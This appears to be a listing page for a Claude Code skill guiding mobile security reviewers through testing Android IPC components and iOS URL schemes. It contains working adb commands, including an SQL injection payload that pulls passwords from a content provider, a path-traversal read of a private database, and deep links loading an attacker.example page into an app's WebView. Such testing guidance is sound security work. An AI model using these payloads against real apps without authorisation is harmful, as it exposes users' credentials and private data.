关于 testing-mobile-ipc
用于评估 Android IPC 和 iOS URL 入口的移动安全测试技能,面向安全审查人员。它涵盖入口枚举、针对性测试及本地应用攻击影响判断。
主要功能
- 01枚举导出组件和 URL 方案
- 02测试 Android 活动、服务和提供程序
- 03评估 Intent 与 PendingIntent 滥用
- 04检查深层链接和 WebView 处理
- 05检查 iOS URL 方案和共享数据
适用场景
- 01审查 Android 清单中的暴露组件
- 02测试深层链接是否绕过身份验证
- 03检查提供程序的数据访问缺陷
- 04审查 iOS 方案和 App Group 暴露
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill testing-mobile-ipc安装后在 Claude Code 中输入/testing-mobile-ipc确认已加载。
详细介绍
测试移动端 IPC 和深层链接
每个导出的组件和已注册的 URL 方案,都是一个无需网络的远程入口点。同一设备上的恶意应用,或用户访问的网页,都可以直接调用它们,而开发时常常会假定只有应用本身会调用这些入口。
适用场景
- 检查
AndroidManifest.xml中导出的组件 - 测试深层链接、App Links、自定义 URL 方案或 Universal Links
- 评估内容提供程序和广播接收器的暴露情况
- 检查
PendingIntent、Intent 重定向和 App Group 共享 - 回答“这台设备上的其他应用能对这个应用做什么?”
不适用场景
- 网络 API 测试——使用
testing-apis - 二进制级逆向分析——使用
analyzing-ios-binaries或相关的reversing-*技能 - TLS 或检测机制阻碍测试——先使用
bypassing-mobile-pinning或bypassing-root-jailbreak-detection - 更全面的评估——使用
testing-mobile-applications
Android:枚举攻击面
apktool d target.apk -o out
# Every component with exported=true, or with an intent-filter and no explicit
# exported attribute on older targetSdk (which defaults to exported)
rg -n 'android:exported="true"|<intent-filter>' -B3 out/AndroidManifest.xml
# Live enumeration
adb shell dumpsys package com.target.app | rg -A3 'Activity Resolver|Receiver Resolver|Service Resolver|Provider'
drozer console connect
# run app.package.attacksurface com.target.app
# run app.activity.info -a com.target.app
# run app.provider.info -a com.target.app
android:exported 的默认值已变更——面向 API 31+ 的应用必须显式声明该属性,但在较旧目标版本上,包含 intent-filter 的组件会隐式导出。判断组件是否为私有组件前,请先检查 targetSdkVersion。
还要检查权限保护级别。如果组件由声明了 protectionLevel="normal" 的自定义权限“保护”,实际上就毫无保护:任何应用都可以请求并获得此权限,无需用户交互。
rg -n 'permission android:name|protectionLevel' out/AndroidManifest.xml
Android:测试各类组件
# Activities — can an unauthenticated screen be launched directly?
adb shell am start -n com.target.app/.SomeActivity
adb shell am start -a android.intent.action.VIEW -d "myapp://path?param=value"
adb shell am start -n com.target.app/.WebActivity --es url "https://attacker.example"
# Services
adb shell am startservice -n com.target.app/.ExportedService --es cmd value
# Broadcast receivers
adb shell am broadcast -a com.target.app.ACTION_X --es data value
# Content providers — the highest-yield target
adb shell content query --uri content://com.target.app.provider/users
adb shell content query --uri content://com.target.app.provider/users \
--where "1=1) UNION SELECT password FROM creds--"
adb shell content read --uri content://com.target.app.provider/files/../../databases/app.db
内容提供程序尤其值得关注,因为有两个经典漏洞反复出现:
- SQL 注入:通过
selection/projection参数实现;与服务端代码相比,这些参数更常被拼接到查询中。 - 路径遍历:发生在
openFile()中;提供程序从自身目录提供文件,却未对请求路径进行规范化,导致设备上的任何应用都能读取该应用的私有存储。
Android:高影响漏洞模式
Intent 重定向(Android 中的“困惑代理”)。 导出的组件接收一个作为 extra 传入的 Intent,然后启动该 Intent。调用方提供内部 Intent,因此它会以受害应用的身份执行,从而访问该应用未导出的组件及其权限。
rg -n 'getParcelableExtra.*Intent|startActivity\(.*getIntent\(\).*Extra' out/smali*
# Exploit shape: outer intent → exported component → inner intent → private component
PendingIntent 劫持。 使用隐式基础 Intent 创建 PendingIntent,或未指定 FLAG_IMMUTABLE,会让接收应用补全缺失参数,并以发送方的身份执行操作。
rg -n 'PendingIntent.get(Activity|Broadcast|Service)' -A3 out/smali*
# Findings: FLAG_MUTABLE (or no flag pre-API-31) plus an implicit base intent
指向 WebView 的深层链接。 如果深层链接参数成为 loadUrl() 的目标,任何网页都可能借此在应用的 WebView 中渲染攻击者内容,并利用其中的 Cookie、JS 桥接接口和文件访问权限。
adb shell am start -a android.intent.action.VIEW -d "myapp://open?url=https://attacker.example"
rg -n 'loadUrl|addJavascriptInterface|setAllowFileAccess|setJavaScriptEnabled' out/smali*
App Links 验证。 只有当 https://domain/.well-known/assetlinks.json 内容正确且可访问时,autoVerify="true" 才会生效。验证失败时,链接会退化为消歧对话框,其他应用也可以声明此链接。
curl -s https://target.example/.well-known/assetlinks.json | jq .
adb shell pm get-app-links com.target.app
iOS
# Declared URL schemes and associated domains
plutil -p Payload/TargetApp.app/Info.plist | rg -A5 'CFBundleURLSchemes'
codesign -d --entitlements :- Payload/TargetApp.app | rg -A3 'associated-domains|application-groups'
# Trigger a scheme
xcrun simctl openurl booted "myapp://path?param=value"
# On device: open the URL from Safari or Notes
自定义 URL 方案未经身份验证,且任何应用都可以声明。 任何应用都可以注册 myapp://;如果有两个应用注册,最终由哪个应用处理并无定论。必须将通过自定义方案访问的内容视为由攻击者发起。Universal Links 是经过验证的替代方案:
curl -s https://target.example/.well-known/apple-app-site-association | jq .
# Must be served over HTTPS, no redirect, correct app ID, correct paths
还要检查:
- App Groups——应用与其扩展程序之间的共享容器。写入其中的数据可由所有成员读取,包括审核不严的键盘扩展或共享扩展。
- Keychain 访问组——应用家族内部的共享范围过宽。
- Pasteboard——任何应用都可以读取通用粘贴板;复制到其中的凭据和令牌会泄露。
application:openURL:options:——检查处理程序在执行操作前,是否会验证来源应用和 URL 参数。
什么情况构成发现
调用组件本身不构成发现。真正的发现是它能让无特权的本地应用做到什么:
- 绕过身份验证触达特权操作 — 转账页面、设置更改,或通过深层链接绕过登录门禁即可触达的账户操作
- 读取不应读取的数据 — 提供程序查询返回其他用户的行,或遍历到私人存储
- 冒充受害应用执行操作 — Intent 重定向或 PendingIntent 劫持
- 在受信任的上下文中呈现攻击者内容 — 带有 JS 桥接的 WebView
- 向调用方泄露机密 — 在 Activity 结果中返回令牌、写入共享容器,或记录到日志中
具体测试深层链接路径是否会绕过身份验证:在应用已登出时启动目标组件,然后使用另一个账户再测试一次。
应排除的借口
- “它已导出,但需要权限。” 检查保护级别。
normal会自动授予。 - “只有我们自己的应用会调用它。” 任何已导出的组件都可由任何应用调用;如果它有 intent-filter,浏览器也能调用。
- “深层链接 URL 中需要有效令牌。” 实际测试。深层链接中的令牌经常未经验证、可重复使用,或通过 referrer 标头泄露。
- “它没有导出。” 根据
targetSdkVersion确认,并检查 Intent 重定向是否仍能触达它。 - “iOS URL scheme 没问题,我们会验证输入。” 也要验证调用方 — scheme 未经身份验证,任何应用都能声明。
- “此提供程序是只读的。” 如果这些行属于其他人,那么读取就是发现。
参考资料
testing-mobile-applications— 更全面的评估testing-apis— 这些组件最终调用的后端analyzing-ios-binaries— 权限和 App Group 枚举reporting-security-findings— 本地攻击者发现的严重性- drozer、adb、apktool、jadx、objection、Frida